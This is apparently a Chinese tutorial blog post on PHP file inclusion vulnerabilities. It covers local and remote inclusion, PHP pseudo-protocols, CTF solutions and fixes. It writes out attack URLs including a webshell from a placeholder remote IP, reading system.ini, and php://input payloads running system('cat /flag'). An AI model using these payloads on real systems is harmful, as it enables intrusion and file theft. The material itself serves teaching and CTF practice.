文件包含漏洞

文件包含漏洞概念
php相关函数和伪协议
DVWA靶场案例演示
CTF题目案例
文件包含漏洞挖掘与利用
文件包含漏洞修复方案

文件包含漏洞概念

为什么要包含文件

包含内容 包含页头、页脚 包含函数 公共函数 减少重复代码、便于维护

问题

可能会导致允许访问敏感文件或者执行恶意代 码,造成漏洞

分类

1.本地文件包含 Local file Inclusion

(1).固定包含

fileinc/footer.php

fileinc/main.php

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

(2). 通过接口动态包含

http://localhost/fileinc/include.php?file= footer.php

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

(3).包含敏感文件

http://localhost/fileinc/include.php?file=C:\ Windows\system.ini

(4)包含恶意代码或图片马

http://localhost/fileinc/include.php?file=shell.php

http://localhost:7298/uploadlabs/include.php?file=upload/shell.gif

2.远程文件包含 Remote file inclusion

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

(1)配置 allow_url_fopen 和allow_url_include

(2)访问

http://localhost/fileinc/include.php?file=http://远程IP/1.txt

http://localhost/fileinc/include.php?file= http://远程IP/alert.html

http://localhost/fileinc/include.php?file= http://远程IP/shell.php

(3)CVE实际案例

http://cve.mitre.org/cgi-bin/cvekey.cgi? keyword=file+inclusion

php相关函数和伪协议

函数

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

伪协议

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

DVWA靶场案例演示

CTF题目案例

1.文件包含漏洞类型

若为POST传参则利用hackbar工具

参数ctfhub=system(‘ls’);

参数 ctfhub=system(‘find / -name flag*’); find命令,查询根目录下含有flag名的文件

参数 ctfhub=system(‘cat /flag’);

2.php://input伪协议类型---->实质就是把参数写为php代码,然后会执行

?file=php://input

参数<?php system('ls /'); ?>

参数 <?php system('cat /flag_16571'); ?>

补充php://协议

条件:不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams)

CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了

其他可参考这篇博客文章

https://www.cnblogs.com/zzjdbk/p/13030717.html

文件包含漏洞挖掘与利用

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

文件包含漏洞修复方案

1、PHP配置

2、禁用动态包含

3、过滤协议、目录字符

4、设置文件白名单

  • 25
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值